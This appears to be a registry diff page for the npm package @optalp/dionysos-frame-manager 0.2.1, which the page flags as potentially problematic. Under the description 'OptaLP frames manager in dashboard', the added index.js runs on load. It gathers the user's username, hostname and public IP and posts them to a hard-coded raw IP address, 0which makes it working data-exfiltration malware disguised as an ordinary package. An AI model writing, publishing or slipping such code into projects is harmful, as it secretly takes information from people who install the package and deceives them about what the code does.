@optalp/dionysos-frame-manager 0.2.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @optalp/dionysos-frame-manager might be problematic. Click here for more details.
- package/index.js +35 -0
- package/package.json +14 -0
package/index.js
ADDED
@@ -0,0 +1,35 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const axios = require('axios');
|
3
|
+
|
4
|
+
const username = os.userInfo().username;
|
5
|
+
let ipAddress = 'Unknown';
|
6
|
+
const hostname = os.hostname();
|
7
|
+
const apiUrl = 'http://18.197.56.206:8000/811f9486-58ef-4099-bae3-2c5f35e1e46d/'; // Replace with the API URL
|
8
|
+
|
9
|
+
// Function to get the public IP address using axios
|
10
|
+
async function getPublicIpAddress() {
|
11
|
+
try {
|
12
|
+
const response = await axios.get('https://ifconfig.io/ip');
|
13
|
+
ipAddress = response.data.trim();
|
14
|
+
} catch (error) {
|
15
|
+
console.error('Error fetching public IP address:', error.message);
|
16
|
+
}
|
17
|
+
}
|
18
|
+
|
19
|
+
// Function to post the information
|
20
|
+
async function postInformation() {
|
21
|
+
await getPublicIpAddress();
|
22
|
+
try {
|
23
|
+
const response = await axios.post(apiUrl, {
|
24
|
+
username,
|
25
|
+
ipAddress,
|
26
|
+
hostname,
|
27
|
+
});
|
28
|
+
console.log('Response:', response.data);
|
29
|
+
} catch (error) {
|
30
|
+
console.error('Error:', error.message);
|
31
|
+
}
|
32
|
+
}
|
33
|
+
|
34
|
+
// Call the function to post the information
|
35
|
+
postInformation();
|
package/package.json
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
{
|
2
|
+
"name": "@optalp/dionysos-frame-manager",
|
3
|
+
"version": "0.2.1",
|
4
|
+
"description": "OptaLP frames manager in dashboard",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"start": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "Your Name",
|
10
|
+
"license": "MIT",
|
11
|
+
"dependencies": {
|
12
|
+
"axios": "^0.24.0"
|
13
|
+
}
|
14
|
+
}
|